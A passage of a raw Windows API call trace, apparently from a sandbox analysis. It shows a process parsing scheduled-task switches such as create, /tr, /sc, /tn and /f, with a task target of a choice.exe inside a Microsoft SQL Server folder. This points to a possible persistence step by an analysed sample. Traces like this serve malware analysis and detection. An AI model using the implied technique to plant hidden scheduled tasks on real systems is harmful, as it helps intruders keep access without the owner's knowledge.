out: _Buffer="|p|") returned 3 [0063.745] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.745] lstrlenW (lpString="|p|") returned 3 [0063.746] lstrlenW (lpString="|tr|") returned 4 [0063.746] SetLastError (dwErrCode=0x490) [0063.746] lstrlenW (lpString="ru") returned 2 [0063.746] lstrlenW (lpString="ru") returned 2 [0063.746] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.746] lstrlenW (lpString="tr") returned 2 [0063.746] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.746] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ru|") returned 4 [0063.746] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.746] lstrlenW (lpString="|ru|") returned 4 [0063.746] lstrlenW (lpString="|tr|") returned 4 [0063.746] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0063.746] SetLastError (dwErrCode=0x490) [0063.746] lstrlenW (lpString="rp") returned 2 [0063.746] lstrlenW (lpString="rp") returned 2 [0063.746] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.746] lstrlenW (lpString="tr") returned 2 [0063.746] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.746] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|rp|") returned 4 [0063.746] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.746] lstrlenW (lpString="|rp|") returned 4 [0063.746] lstrlenW (lpString="|tr|") returned 4 [0063.747] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0063.747] SetLastError (dwErrCode=0x490) [0063.747] lstrlenW (lpString="sc") returned 2 [0063.747] lstrlenW (lpString="sc") returned 2 [0063.747] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.747] lstrlenW (lpString="tr") returned 2 [0063.747] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.747] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.747] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.747] lstrlenW (lpString="|sc|") returned 4 [0063.747] lstrlenW (lpString="|tr|") returned 4 [0063.747] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0063.747] SetLastError (dwErrCode=0x490) [0063.747] lstrlenW (lpString="mo") returned 2 [0063.747] lstrlenW (lpString="mo") returned 2 [0063.747] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.747] lstrlenW (lpString="tr") returned 2 [0063.747] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.747] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.747] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.747] lstrlenW (lpString="|mo|") returned 4 [0063.747] lstrlenW (lpString="|tr|") returned 4 [0063.747] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0063.747] SetLastError (dwErrCode=0x490) [0063.748] lstrlenW (lpString="d") returned 1 [0063.748] lstrlenW (lpString="d") returned 1 [0063.748] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.748] lstrlenW (lpString="tr") returned 2 [0063.748] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.748] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|d|") returned 3 [0063.748] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.748] lstrlenW (lpString="|d|") returned 3 [0063.748] lstrlenW (lpString="|tr|") returned 4 [0063.748] SetLastError (dwErrCode=0x490) [0063.748] lstrlenW (lpString="m") returned 1 [0063.748] lstrlenW (lpString="m") returned 1 [0063.748] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.748] lstrlenW (lpString="tr") returned 2 [0063.748] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.748] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|m|") returned 3 [0063.748] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.748] lstrlenW (lpString="|m|") returned 3 [0063.748] lstrlenW (lpString="|tr|") returned 4 [0063.748] SetLastError (dwErrCode=0x490) [0063.748] lstrlenW (lpString="i") returned 1 [0063.748] lstrlenW (lpString="i") returned 1 [0063.748] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.748] lstrlenW (lpString="tr") returned 2 [0063.749] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.749] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|i|") returned 3 [0063.749] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.749] lstrlenW (lpString="|i|") returned 3 [0063.749] lstrlenW (lpString="|tr|") returned 4 [0063.749] SetLastError (dwErrCode=0x490) [0063.749] lstrlenW (lpString="tn") returned 2 [0063.749] lstrlenW (lpString="tn") returned 2 [0063.749] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.749] lstrlenW (lpString="tr") returned 2 [0063.749] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.749] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.749] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.749] lstrlenW (lpString="|tn|") returned 4 [0063.749] lstrlenW (lpString="|tr|") returned 4 [0063.749] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0063.749] SetLastError (dwErrCode=0x490) [0063.749] lstrlenW (lpString="tr") returned 2 [0063.749] lstrlenW (lpString="tr") returned 2 [0063.749] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.749] lstrlenW (lpString="tr") returned 2 [0063.749] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.750] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.750] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.750] lstrlenW (lpString="|tr|") returned 4 [0063.750] lstrlenW (lpString="|tr|") returned 4 [0063.750] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0063.750] SetLastError (dwErrCode=0x0) [0063.750] SetLastError (dwErrCode=0x0) [0063.750] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.750] lstrlenW (lpString="-/") returned 2 [0063.750] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0063.750] SetLastError (dwErrCode=0x490) [0063.750] SetLastError (dwErrCode=0x490) [0063.750] SetLastError (dwErrCode=0x0) [0063.750] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.750] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'" [0063.750] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.750] _memicmp (_Buf1=0x25c480, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.750] _memicmp (_Buf1=0x25d650, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.750] SetLastError (dwErrCode=0x7a) [0063.750] SetLastError (dwErrCode=0x0) [0063.750] SetLastError (dwErrCode=0x0) [0063.750] lstrlenW (lpString="'C") returned 2 [0063.750] lstrlenW (lpString="-/") returned 2 [0063.750] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0063.751] SetLastError (dwErrCode=0x490) [0063.751] SetLastError (dwErrCode=0x490) [0063.751] SetLastError (dwErrCode=0x0) [0063.751] _memicmp (_Buf1=0x25d6b0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.751] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.751] GetProcessHeap () returned 0x240000 [0063.751] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6d0) returned 1 [0063.751] GetProcessHeap () returned 0x240000 [0063.751] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25d6d0, Size=0x88) returned 0x25c3c0 [0063.751] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.751] lstrlenW (lpString=" \x09") returned 2 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0063.751] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0063.751] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0063.752] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0063.752] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x51) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0063.752] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0063.752] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0063.753] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0063.753] GetLastError () returned 0x0 [0063.753] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.754] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.754] SetLastError (dwErrCode=0x0) [0063.754] SetLastError (dwErrCode=0x0) [0063.754] lstrlenW (lpString="/f") returned 2 [0063.754] lstrlenW (lpString="-/") returned 2 [0063.754] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.754] lstrlenW (lpString="create") returned 6 [0063.754] lstrlenW (lpString="create") returned 6 [0063.754] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.754] lstrlenW (lpString="f") returned 1 [0063.754] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.754] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.754] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.754] lstrlenW (lpString="|create|") returned 8 [0063.754] lstrlenW (lpString="|f|") returned 3 [0063.754] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0063.754] SetLastError (dwErrCode=0x490) [0063.754] lstrlenW (lpString="?") returned 1 [0063.754] lstrlenW (lpString="?") returned 1 [0063.754] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.754] lstrlenW (lpString="f") returned 1 [0063.754] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.754] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|?|") returned 3 [0063.754] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.754] lstrlenW (lpString="|?|") returned 3 [0063.755] lstrlenW (lpString="|f|") returned 3 [0063.755] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0063.755] SetLastError (dwErrCode=0x490) [0063.755] lstrlenW (lpString="s") returned 1 [0063.755] lstrlenW (lpString="s") returned 1 [0063.755] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.755] lstrlenW (lpString="f") returned 1 [0063.755] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.755] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|s|") returned 3 [0063.755] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.755] lstrlenW (lpString="|s|") returned 3 [0063.755] lstrlenW (lpString="|f|") returned 3 [0063.755] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0063.755] SetLastError (dwErrCode=0x490) [0063.755] lstrlenW (lpString="u") returned 1 [0063.755] lstrlenW (lpString="u") returned 1 [0063.755] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.755] lstrlenW (lpString="f") returned 1 [0063.755] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.755] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|u|") returned 3 [0063.755] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.755] lstrlenW (lpString="|u|") returned 3 [0063.755] lstrlenW (lpString="|f|") returned 3 [0063.755] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0063.756] SetLastError (dwErrCode=0x490) [0063.756] lstrlenW (lpString="p") returned 1 [0063.756] lstrlenW (lpString="p") returned 1 [0063.756] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.756] lstrlenW (lpString="f") returned 1 [0063.756] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.756] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|p|") returned 3 [0063.756] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.756] lstrlenW (lpString="|p|") returned 3 [0063.756] lstrlenW (lpString="|f|") returned 3 [0063.756] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0063.756] SetLastError (dwErrCode=0x490) [0063.756] lstrlenW (lpString="ru") returned 2 [0063.756] lstrlenW (lpString="ru") returned 2 [0063.756] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.756] lstrlenW (lpString="f") returned 1 [0063.756] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.756] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ru|") returned 4 [0063.756] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.756] lstrlenW (lpString="|ru|") returned 4 [0063.756] lstrlenW (lpString="|f|") returned 3 [0063.756] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0063.756] SetLastError (dwErrCode=0x490) [0063.756] lstrlenW (lpString="rp") returned 2 [0063.757] lstrlenW (lpString="rp") returned 2 [0063.757] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.757] lstrlenW (lpString="f") returned 1 [0063.757] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.757] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|rp|") returned 4 [0063.757] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.757] lstrlenW (lpString="|rp|") returned 4 [0063.757] lstrlenW (lpString="|f|") returned 3 [0063.757] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0063.757] SetLastError (dwErrCode=0x490) [0063.757] lstrlenW (lpString="sc") returned 2 [0063.757] lstrlenW (lpString="sc") returned 2 [0063.757] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.757] lstrlenW (lpString="f") returned 1 [0063.757] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.757] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.757] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.757] lstrlenW (lpString="|sc|") returned 4 [0063.757] lstrlenW (lpString="|f|") returned 3 [0063.757] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0063.757] SetLastError (dwErrCode=0x490) [0063.757] lstrlenW (lpString="mo") returned 2 [0063.757] lstrlenW (lpString="mo") returned 2 [0063.757] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.758] lstrlenW (lpString="f") returned 1 [0063.758] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.758] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.758] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.758] lstrlenW (lpString="|mo|") returned 4 [0063.758] lstrlenW (lpString="|f|") returned 3 [0063.758] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0063.758] SetLastError (dwErrCode=0x490) [0063.758] lstrlenW (lpString="d") returned 1 [0063.758] lstrlenW (lpString="d") returned 1 [0063.758] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.758] lstrlenW (lpString="f") returned 1 [0063.758] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.758] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|d|") returned 3 [0063.758] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.758] lstrlenW (lpString="|d|") returned 3 [0063.758] lstrlenW (lpString="|f|") returned 3 [0063.758] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0063.758] SetLastError (dwErrCode=0x490) [0063.758] lstrlenW (lpString="m") returned 1 [0063.758] lstrlenW (lpString="m") returned 1 [0063.758] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.758] lstrlenW (lpString="f") returned 1 [0063.758] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.759] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|m|") returned 3 [0063.759] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.759] lstrlenW (lpString="|m|") returned 3 [0063.759] lstrlenW (lpString="|f|") returned 3 [0063.759] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0063.759] SetLastError (dwErrCode=0x490) [0063.759] lstrlenW (lpString="i") returned 1 [0063.759] lstrlenW (lpString="i") returned 1 [0063.759] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.759] lstrlenW (lpString="f") returned 1 [0063.759] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.759] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|i|") returned 3 [0063.759] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.759] lstrlenW (lpString="|i|") returned 3 [0063.759] lstrlenW (lpString="|f|") returned 3 [0063.759] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0063.759] SetLastError (dwErrCode=0x490) [0063.759] lstrlenW (lpString="tn") returned 2 [0063.759] lstrlenW (lpString="tn") returned 2 [0063.759] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.759] lstrlenW (lpString="f") returned 1 [0063.759] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.759] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.759] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.760] lstrlenW (lpString="|tn|") returned 4 [0063.760] lstrlenW (lpString="|f|") returned 3 [0063.760] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0063.760] SetLastError (dwErrCode=0x490) [0063.760] lstrlenW (lpString="tr") returned 2 [0063.760] lstrlenW (lpString="tr") returned 2 [0063.760] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.760] lstrlenW (lpString="f") returned 1 [0063.760] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.760] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.760] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.760] lstrlenW (lpString="|tr|") returned 4 [0063.760] lstrlenW (lpString="|f|") returned 3 [0063.760] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0063.760] SetLastError (dwErrCode=0x490) [0063.760] lstrlenW (lpString="st") returned 2 [0063.760] lstrlenW (lpString="st") returned 2 [0063.760] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.760] lstrlenW (lpString="f") returned 1 [0063.760] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.760] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|st|") returned 4 [0063.760] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|f|") returned 3 [0063.760] lstrlenW (lpString="|st|") returned 4 [0063.761] lstrlenW (lpString="|f|") returned 3 [0063.761] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0063.761] SetLastError (dwErrCode=0x490) [0063.761] lstrlenW (lpString="sd") returned 2 [0063.761] lstrlenW (lpString="sd") returned 2 [0063.761] _memicmp (_Buf1=0x25c210, 